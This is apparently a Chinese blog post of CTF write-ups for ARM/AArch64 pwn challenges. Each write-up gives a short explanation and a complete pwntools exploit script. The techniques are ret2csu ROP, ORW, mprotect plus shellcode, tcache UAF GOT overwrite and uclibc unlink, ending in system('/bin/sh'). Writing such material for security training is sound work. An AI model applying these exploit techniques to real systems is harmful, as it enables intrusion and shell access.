做了几道简单的ARM架构题 64位栈溢出主要是利用csu中的gadget控制执行流 堆题感觉和x86/x64差别不大,但是调试挺麻烦的,无法一键查看heap和bin的情况,只能找地址嗯调
另外跟谢哥学了一手把要在gdb-mutiarch执行的命令写到文件里,然后在gdbinit里source写了命令的文件,这样调试就方便了很多
TSCTF2020-HelloArm 泄露基址,orw读flag 不过在用gdb-multiarch调试的时候发现开flag对应的fd是7。关掉直接跑就又正常是3了.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwn import *import syscontext.log_level = 'debug' context.arch = 'aarch64' Debug = 1 elf = ELF('./HelloARM' ) libc = ELF("/home/ayoung/pwn/aarch64/lib/libc-2.27.so" ) def get_sh (other_libc=null ): if Debug: r = process(["qemu-aarch64" , "-g" , "2333" , "-L" , "/home/ayoung/pwn/aarch64/" , "./HelloARM" ]) log.info('Please use GDB remote!(Enter to continue)' ) pause() return r else : return process(["qemu-aarch64" ,"-L" ,"/home/ayoung/pwn/aarch64/" ,"./HelloARM" ]) r = get_sh() r.recvuntil('Magic number:0x' ) stack_addr = int (r.recv(10 ),16 ) r.recvuntil('Set your name:' ) r.sendline('/bin/sh\x00' ) r.recvuntil('Set your message:' ) csu_1 = 0x400AD0 csu_2 = 0x400AB0 main = 0x400790 pay = b'\x00' *0x100 +p64(stack_addr-0x120 )+p64(csu_1)+b'B' *0x110 pay+= p64(csu_2)*3 +p64(1 )+p64(elf.got['write' ]) pay+= p64(1 )+p64(elf.got['write' ])+p64(0x5 ) pay+= b'A' *8 +p64(main) r.send(pay) print (hex (stack_addr))r.recv(1 ) write_addr = u64(r.recv(5 ).ljust(8 ,b'\x00' )) print (hex (write_addr))libc.address = write_addr-libc.sym['write' ] print (hex (libc.address))r.recvuntil('Magic number:0x' ) stack_addr = int (r.recv(10 ),16 ) r.recvuntil('Set your name:' ) r.send(b'./flag\x00\x00' +p64(libc.sym['open' ])) r.recvuntil('Set your message:' ) bss_addr = 0x411080 pay = b'\x00' *0x100 +p64(stack_addr-0x120 )+p64(csu_1)+b'B' *0x110 pay+= p64(bss_addr+0x30 )+p64(csu_2)*2 +p64(1 )+p64(bss_addr+8 ) pay+= p64(bss_addr)+p64(0 )+p64(0 )+p64(stack_addr+0x140 ) pay+= p64(csu_1)+p64(0 )+p64(0 )*5 +p64(bss_addr+0x30 )+p64(csu_2) pay+= p64(0 )+p64(1 )+p64(elf.got['read' ]) pay+= p64(3 )+p64(bss_addr+0x20 )+p64(0x50 ) pay+= p64(bss_addr+0x30 )+p64(csu_1) pay+= p64(0 )*6 +p64(bss_addr+0x30 )+p64(csu_2)+p64(0 ) pay+= p64(1 )+p64(elf.got['write' ]) pay+= p64(1 )+p64(bss_addr+0x20 )+p64(0x50 ) r.send(pay) r.interactive()
TSCTF2020-HelloArmShell 泄露基址,system("/bin/sh")getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *import syscontext.log_level = 'debug' context.arch = 'aarch64' Debug = 0 elf = ELF('./HelloARM' ) libc = ELF("/home/ayoung/pwn/aarch64/lib/libc-2.27.so" ) def get_sh (other_libc=null ): if Debug: r = process(["qemu-aarch64" , "-g" , "2333" , "-L" , "/home/ayoung/pwn/aarch64/" , "./HelloARM" ]) log.info('Please use GDB remote!(Enter to continue)' ) pause() return r else : return process(["qemu-aarch64" ,"-L" ,"/home/ayoung/pwn/aarch64/" ,"./HelloARM" ]) r = get_sh() r.recvuntil('Magic number:0x' ) stack_addr = int (r.recv(10 ),16 ) r.recvuntil('Set your name:' ) r.sendline('./flag\x00\x00' ) r.recvuntil('Set your message:' ) csu_1 = 0x400AD0 csu_2 = 0x400AB0 start = 0x400790 pay = b'\x00' *0x100 +p64(stack_addr-0x120 )+p64(csu_1)+b'B' *0x110 pay+= p64(csu_2)*3 +p64(1 )+p64(elf.got['write' ]) pay+= p64(1 )+p64(elf.got['write' ])+p64(0x5 ) pay+= b'A' *8 +p64(start) r.send(pay) print (hex (stack_addr))r.recv(1 ) write_addr = u64(r.recv(5 ).ljust(8 ,b'\x00' )) print (hex (write_addr))libc.address = write_addr-libc.sym['write' ] print (hex (libc.address))r.recvuntil('Magic number:0x' ) stack_addr = int (r.recv(10 ),16 ) r.recvuntil('Set your name:' ) r.send(b'/bin/sh\x00' +p64(libc.sym['system' ])) r.recvuntil('Set your message:' ) bss_addr = 0x411080 pay = b'\x00' *0x100 +p64(stack_addr-0x120 )+p64(csu_1)+b'B' *0x110 pay+= p64(csu_2)*3 +p64(1 )+p64(bss_addr+8 ) pay+= p64(bss_addr)+p64(0 )+p64(0 )+p64(0 ) r.send(pay) print (hex (stack_addr))r.interactive()
shanghai2018_baby_arm bss写shellcode,栈溢出执行mprotect修改可执行权限然后跳转执行shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *import syscontext.log_level = 'debug' context.arch = 'aarch64' Debug = 0 Remote = 0 elf = ELF('./pwn' ) def get_sh (): if Debug: r = process(["qemu-aarch64" , "-g" , "2333" , "-L" , "/home/ayoung/pwn/aarch64/" , "./pwn" ]) log.info('Please use GDB remote!(Enter to continue)' ) pause() return r elif Remote: return remote('node4.buuoj.cn' ,29394 ) else : return process(["qemu-aarch64" ,"-L" ,"./" ,"./pwn" ]) r = get_sh() shellcode = shellcraft.sh() r.recvuntil('Name:' ) r.send((p64(elf.plt['mprotect' ])+asm(shellcode)).ljust(0x200 , b'\x00' )) sleep(0.5 ) csu_down= 0x4008CC csu_up = 0x4008AC bss_addr = 0x411068 pay = b'\x00' *0x40 +p64(bss_addr+0x150 )+p64(csu_down) pay+= p64(bss_addr+0x150 )+p64(csu_up)+p64(0 )+p64(1 ) pay+= p64(bss_addr)+p64(7 ) pay+= p64(0x2000 )+p64(bss_addr&0xfffff000 ) pay+= p64(bss_addr+0x150 )+p64(bss_addr+8 )+b'\x00' *0x20 r.send(pay) r.interactive()
jarvisoj_typo 32位静态编译 可以通过shift+F12看到/bin/sh字符串,进而定位到system函数 另外虽然没有符号但也不难猜出几个函数的作用 题目存在栈溢出可打
32位下有pop指令可以利用,相对64位方便一些 利用pop改r0指向/bin/sh,改pc为system地址,即可getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *import syscontext.log_level = 'debug' context.arch = 'arm' Debug = 0 Remote = 1 elf = ELF('./typo' ) def get_sh (other_libc=null ): if Debug: r = process(["qemu-arm" , "-g" , "2333" , "./typo" ]) log.info('Please use GDB remote!(Enter to continue)' ) pause() return r elif Remote: return remote('pwn2.jarvisoj.com' ,9888 ) else : return process(["qemu-arm" ,"./typo" ]) r = get_sh() pop_r0_r4_pc = 0x00020904 sys_addr = 0x110B4 bin_addr = 0x6C384 r.send('\n' ) r.recv() r.sendline(b'A' *0x70 +p32(pop_r0_r4_pc)+p32(bin_addr)+p32(0 )+p32(sys_addr)) r.interactive()
2019xman入营-babyarm 这题只找到elf没找到libc,看别的师傅写的好像是2.23的环境,但有点懒得再调环境了,就直接做的是2.31libc下做了。
有uaf,先用unsorted bin拿基址,再用tcache改free的got表地址,然后执行system("/bin/sh")
感觉2.23下应该会更麻烦一点,可能大概得利用第一次输入的name作为fake size,配合fastbin attack打过去改指针指向free的got表地址来填入system
另外有点不太清楚arm的libc基址要怎么算,这边歪打正着发现乱算出来的system地址+0x1000刚好得到了真正的system地址
exp1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import *import syscontext.log_level = 'debug' context.arch = 'arm' Debug = int (sys.argv[1 ]) Remote = 0 elf = ELF('./pwn' ) libc = ELF('/usr/arm-linux-gnueabihf/lib/libc-2.31.so' ) def get_sh (other_libc=null ): if Debug: r = process(["qemu-arm" , "-g" , "2333" , "-L" , "/usr/arm-linux-gnueabihf/" , "./pwn" ]) log.info('Please use GDB remote!(Enter to continue)' ) pause() return r elif Remote: return remote('' ,) else : return process(["qemu-arm" , "-L" , "/usr/arm-linux-gnueabihf/" , "./pwn" ]) def add (sz, ct ): r.recvuntil(' your choice: ' ) r.sendline(str (1 )) r.recvuntil('Note size :' ) r.sendline(str (sz)) r.recvuntil('Content :' ) r.send(ct) def delete (idx ): r.recvuntil(' your choice: ' ) r.sendline(str (2 )) r.recvuntil('Index :' ) r.sendline(str (idx)) def show (idx ): r.recvuntil(' your choice: ' ) r.sendline(str (3 )) r.recvuntil('Index :' ) r.sendline(str (idx)) def edit (idx, ct ): r.recvuntil(' your choice: ' ) r.sendline(str (5 )) r.recvuntil('Index :' ) r.sendline(str (idx)) r.recvuntil('You content:' ) r.send(ct) r = get_sh() r.recvuntil('Tell me your name:' ) r.sendline('AA' ) add(0x500 , 'A' ) add(0x10 , 'B' ) add(0x10 , 'B' ) add(0x10 , 'B' ) add(0x10 , '/bin/sh\x00' ) delete(0 ) show(0 ) address = u32(r.recvuntil(b'\xff' )[-4 :])-56 -8 -libc.sym['__malloc_hook' ] libc.address = address&0xfffffff000 delete(3 ) delete(2 ) delete(1 ) edit(1 , p32(elf.got['free' ])) add(0x10 , 'A' ) add(0x10 , p32(libc.sym['system' ]+0x1000 )) delete(4 ) r.interactive()
exp2 可以劫持bss上的指针指向free的got表来泄露基址并改写为system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *import syscontext.log_level = 'debug' context.arch = 'arm' Debug = int (sys.argv[1 ]) Remote = 0 elf = ELF('./pwn' ) libc = ELF('/usr/arm-linux-gnueabihf/lib/libc-2.31.so' ) def get_sh (other_libc=null ): if Debug: r = process(["qemu-arm" , "-g" , "2333" , "-L" , "/usr/arm-linux-gnueabihf/" , "./pwn" ]) log.info('Please use GDB remote!(Enter to continue)' ) pause() return r elif Remote: return remote('' ,) else : return process(["qemu-arm" , "-L" , "/usr/arm-linux-gnueabihf/" , "./pwn" ]) def add (sz, ct ): r.recvuntil(' your choice: ' ) r.sendline(str (1 )) r.recvuntil('Note size :' ) r.sendline(str (sz)) r.recvuntil('Content :' ) r.send(ct) def delete (idx ): r.recvuntil(' your choice: ' ) r.sendline(str (2 )) r.recvuntil('Index :' ) r.sendline(str (idx)) def show (idx ): r.recvuntil(' your choice: ' ) r.sendline(str (3 )) r.recvuntil('Index :' ) r.sendline(str (idx)) def edit (idx, ct ): r.recvuntil(' your choice: ' ) r.sendline(str (5 )) r.recvuntil('Index :' ) r.sendline(str (idx)) r.recvuntil('You content:' ) r.send(ct) r = get_sh() r.recvuntil('Tell me your name:' ) r.sendline('AA' ) add(0x20 , 'A' ) add(0x20 , 'A' ) add(0x20 , 'A' ) add(0x20 , 'A' ) add(0x10 , '/bin/sh\x00' ) ptr_addr = 0x21088 delete(3 ) delete(2 ) delete(1 ) edit(1 , p32(ptr_addr)) add(0x20 , 'A' ) add(0x20 , p32(elf.got['free' ])) show(0 ) libc.address = u32(r.recv(4 ))-libc.sym['free' ] print (hex (libc.address))edit(0 , p32(libc.sym['system' ])) delete(4 ) r.interactive()
2020第五空间-pwnme 32位 找到这题的时候给了一个a.out文件和一个lib文件夹,用的是uclibc,因为这题链接库的问题,得重命名一下lib下的.so文件为libc.so.0对应上源文件的链接库路径才能跑起来。
代码漏洞有一个堆溢出和nullbyte溢出 没开pie 指针记录在bss上
可以伪造fake prevsize、fake fd、fake bk利用unlink造成任意地址读写,接着指向free函数got表泄露基址,再改写为system即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *import syscontext.log_level = 'debug' context.arch = 'arm' Debug = int (sys.argv[1 ]) Remote = 0 elf = ELF('./a.out' ) libc = ELF('./lib/libc.so.0' ) def get_sh (other_libc=null ): if Debug: r = process(["qemu-arm" , "-g" , "2333" , "-L" , "./" ,"./a.out" ]) log.info('Please use GDB remote!(Enter to continue)' ) pause() return r elif Remote: return remote('' ,) else : return process(["qemu-arm" , "-L" , "./" , "./a.out" ]) def show (): r.recvuntil('>>> ' ) r.sendline(str (1 )) def add (sz, ct ): r.recvuntil('>>> ' ) r.sendline(str (2 )) r.recvuntil('Length:' ) r.sendline(str (sz)) r.recvuntil('Tag:' ) r.send(ct) def change (idx, sz, ct ): r.recvuntil('>>> ' ) r.sendline(str (3 )) r.recvuntil('Index:' ) r.sendline(str (idx)) r.recvuntil('Length:' ) r.sendline(str (sz)) r.recvuntil('Tag:' ) r.send(ct) def delete (idx ): r.recvuntil('>>> ' ) r.sendline(str (4 )) r.recvuntil('Tag:' ) r.sendline(str (idx)) r = get_sh() ptr_addr = 0x2106c for i in range (3 ): add(0x90 , b'/bin/sh\x00' *0x90 ) pay = p32(0 )+p32(0x89 )+p32(ptr_addr-3 *4 )+p32(ptr_addr-2 *4 ) pay+= b'\x00' *0x80 +p32(0x90 )+p32(0x98 ) change(0 , 0xb0 , pay) delete(1 ) change(0 , 0x10 ,p32(0 )*3 +p32(elf.got['free' ])) show() r.recvuntil('0 : ' ) libc.address = u32(r.recv(4 ))-libc.sym['free' ] change(0 , 0x10 , p32(libc.sym['system' ])) delete(2 ) r.interactive()